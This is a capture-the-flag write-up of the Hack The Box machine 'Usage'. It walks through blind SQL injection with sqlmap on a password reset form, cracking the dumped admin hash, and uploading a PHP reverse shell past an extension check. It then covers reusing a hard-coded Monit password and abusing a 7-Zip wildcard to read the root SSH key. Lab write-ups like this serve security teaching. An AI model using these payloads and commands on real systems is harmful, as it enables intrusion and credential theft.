Summary

Usage is an easy box which begins with SQL injection on the password reset endpoint. After grabbing the admin username and password the admin profile page has a profile picture upload which can be abused to upload a reverse shell. Within the dash user’s home directory is a hard coded password which is for the xander user. Finally xander can use a binary with sudo and through exploiting some 7zip logic arbitrary file reading can be achieved as root, giving both the root flag and the root ssh key.

Enumeration

nmap -p- 10.10.11.18 -Pn

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


nmap -sCV -p22,80 10.10.11.18

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 - Blog

default login landing page

Three basic functions here, registering, a login portal, and a second login portal with admin. Gives us a free subdomain to add to /etc/hosts, going over I see another login portal for a different service. I’ll head over to that one once I know how the regular usage.htb functions. I make an account and login.

front_page
Click for full image

Nothing to do here, it’s a blog post site with no links or references to other material. I’ll scan this domain for anything hidden but my guess is what we see is what we get.

dirsearch -u http://usage.htb -x 503,403

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/raccoon/_hacking/HackTheBox/Misc/Usage/reports/http_usage.htb/_24-08-08_16-48-44.txt

Target: http://usage.htb/

[16:48:44] Starting: 
[16:49:51] 200 -    5KB - /registration

Yeah that’s about what I expected. I’ll check admin.usage.htb while I have dirsearch spun up. To my surprise it does leak that this is running laravel.

dirsearch -u http://admin.usage.htb -x 503,403

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/raccoon/_hacking/HackTheBox/Misc/Usage/reports/http_admin.usage.htb/_24-08-08_16-50-43.txt

Target: http://admin.usage.htb/

[16:50:43] Starting: 
[16:50:55] 405 - 1009B  - /_ignition/execute-solution
[16:52:06] 301 -  178B  - /uploads  ->  http://admin.usage.htb/uploads/

I test around with some laravel exploits but the one I could find relies on the logs file, which appears to not be present here. It’s time to check each login portal and the password reset for SQLi to rule out that as the foothold.

User as dash

SQLi

No dice on the admin portal, nothing on the regular login for the blog, but a stray quote gives a 500 error.

500 error from stray quote

Furthermore making the email parameter equal to &email=raccoon%40raccoon.xyz'+and+1='1 gives a positive result, meaning this is vulnerable to some form of injection. Here I can use sqlmap and manually dig around more in the laravel vulnerabilities while I wait. The results:

sqlmap -r reset_password.req --level 5 --risk 3 --batch --threads 10 --dbs
...
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=T10DCxeVCM6NmZPipm6SdRP9SfThntBVlASwv7y5&email=raccoon@raccoon.xyz' AND 3766=(SELECT (CASE WHEN (3766=3766) THEN 3766 ELSE (SELECT 4293 UNION SELECT 1203) END))-- xyjD

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: _token=T10DCxeVCM6NmZPipm6SdRP9SfThntBVlASwv7y5&email=raccoon@raccoon.xyz' AND 1353=BENCHMARK(5000000,MD5(0x6978634a))-- rrSJ
---
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

sqlmap -r reset_password.req --level 5 --risk 3 --batch --threads 10 --tables -D usage_blog
...
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+

sqlmap -r reset_password.req --level 5 --risk 3 --batch --threads 10 -D usage_blog -T admin_users --columns
...
Database: usage_blog
Table: admin_users
[8 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| name           | varchar(255) |
| avatar         | varchar(255) |
| created_at     | timestamp    |
| id             | int unsigned |
| password       | varchar(60)  |
| remember_token | varchar'100) |
| updated_at     | timestamp    |
| username       | varcaar(190) |
+----------------+--------------+

sqlmap -r reset_password.req --level 5 --risk 3 --dbms=mysql -D usage_blog -T admin_users -C name,password --dump
...
Database: usage_blog
Table: admin_users
[1 entry]
+---------------+--------------------------------------------------------------+
| name          | password                                                     |
+---------------+--------------------------------------------------------------+
| Administrator | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
+---------------+--------------------------------------------------------------+

Disclaimer: I did check the users table for info but it looked to be all the accounts I made for testing. I will toss this into john and I assume in this easy box rockyou has the password within.

john hash --wordlist=/opt/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1        (?)
1g 0:00:00:08 DONE (2024-08-08 19:49) 0.1138g/s 184.5p/s 184.5c/s 184.5C/s alexis1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Okay so in dumping the name column I do realize that there is a username column. The actual name is admin and not Administrator.

front_page
Click for full image

Simple dashboard with info about versions and info. I can add Users, Roles and Permissions, but none of these are what catches my eye.

Admin profile page

Within this page there is something that sticks out like a sore thumb: the image upload functionality. You can’t make an omelet without breaking a few eggs, time to fuzz this upload for all it’s worth.

The notable findings are it checks the ending extension locally within the webapp, it filters certain characters (/%) and replaces them with an _ within the file name. I test the extensions it allows and it is true to the requiring an image extension to the uploaded file.

Here I search and find an advisory about smuggling PHP files through the upload and then executing them (found here). There is a specific exploit script here on github by IDUZZEL. I won’t need this though as the exploit happens when you upload a file ending in an image extension, and you intercept and change that extension, no server-side check happens within this version.

I upload my pentestmonkey.php file for a simple shell and upload it, then head to /uploads/images/pentestmonkey.php and pop a shell not as www-data but as a user.

nc -nvlp 7777

Listening on 0.0.0.0 7777
Connection received on 10.10.11.18 60164
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 02:07:40 up  4:36,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
bash: cannot set terminal process group (1228): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/$ id
id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
dash@usage:/$ ls /home
ls /home
dash
xander
dash@usage:/$ cd /home/dash
cd /home/dash
dash@usage:~$ ls
ls
user.txt
dash@usage:~$ cat user.txt
cat user.txt
fd70b103607e29-------------------

There is a keypair present in .ssh so I’ll ssh in for a full TTY.

ssh -i id_rsa dash@usage.htb
...
dash@usage:~$ find / -user xander 2>/dev/null
/home/xander

Root

Pivot to xander

In the home directory of dash I find series of files relating to Monit. I look around the rc file and find a hard coded password.

dash@usage:~$ ls -al
total 52
drwxr-x--- 6 dash dash 4096 Aug  9 02:30 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    5 Aug  9 02:30 .monit.pid
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw------- 1 dash dash 1192 Aug  9 02:30 .monit.state
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Aug  8 21:31 user.txt
dash@usage:~$ cat .monitrc 
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert
dash@usage:~$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2812          0.0.0.0:*               LISTEN      6555/monit          
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1279/nginx: worker  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -     

To interact with this webserver I need to SSH tunnel and access it from my local machine.

ssh -i id_rsa dash@usage.htb -L 2812:localhost:2812
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
dash@usage:~$ 

And after a quick login with admin:3nc0d3d_pa$$w0rd we are in.

monit dashboard

Nothing was here to enumerate further, but with that password it’s worth checking if it is a user’s password. I check with dash first to find any sudo usage, not his password. Next to try ssh with xander.

ssh xander@usage.htb
xander@usage.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
xander@usage:~$ ls -l /usr/bin/usage_management
-rwxr-xr-x 1 root root 16312 Oct 28  2023 /usr/bin/usage_management
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped

usage_management

Time for the age old classic of blindly exploiting binaries that have critical flaws within easy boxes like this. Let’s run it and see what we’re working with.

xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 4
Invalid choice.
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
2984 folders, 17945 files, 113878710 bytes (109 MiB)

Creating archive: /var/backups/project.zip

Items to compress: 20929

                                                                               
Files read from disk: 17945
Archive size: 54829558 bytes (53 MiB)
Everything is Ok

The info we have here is the whole html directory seems to be 7zipped into a backup directory. We can make a few assumptions here that we will run with until they are disproven. Firstly 7zip is the backbone of this functionality so any exploit of logic within that is our golden goose. Secondly the code calling the zipping function might be doing so with a wildcard.

This hacktricks section goes over ways to exploit spare wildcards. 7z is here and thanks to the wildcard you can add two files: @file and file where the regular file is a symlink to another resource. When the 7z sees @file it will view it as a file containing a list of files it needs to compress. Upon reading the file an error will be thrown and the contents are printed to the console.

To test all of this I will make an @user.txt and user.txt symlink since I cannot read them as xander and check the output of the binary.

xander@usage:/var/www/html$ touch @user.txt
xander@usage:/var/www/html$ ln -s /home/dash/user.txt user.txt
xander@usage:/var/www/html$ cat 
project_admin/ usage_blog/    @user.txt      user.txt       
xander@usage:/var/www/html$ cat user.txt
cat: user.txt: Permission denied
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54829558

Scanning the drive:
          
WARNING: No more files
fd70b103607e29-------------------

2984 folders, 17946 files, 113878743 bytes (109 MiB)                           

Updating archive: /var/backups/project.zip

Items to compress: 20930

                                                                               
Files read from disk: 17946
Archive size: 54829705 bytes (53 MiB)

Scan WARNINGS for files and folders:

fd70b103607e29------------------- : No more files
----------------
Scan WARNINGS: 1

There it is in the middle of the binary output and at the end the user flag from the user txt file. Now all I need to do it change this to the root’s id_rsa and ssh in.

xander@usage:/var/www/html$ touch @id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

...

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAA------------------- : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqj------------------- : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B------------------- : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbS------------------- : No more files
H2sfTWZeFDLGmqMhrqDdAAAAC-------------------------------------- : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7
ssh -i root_rsa root@usage.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
root@usage:~# cat root.txt
832e7c67bfc784------------------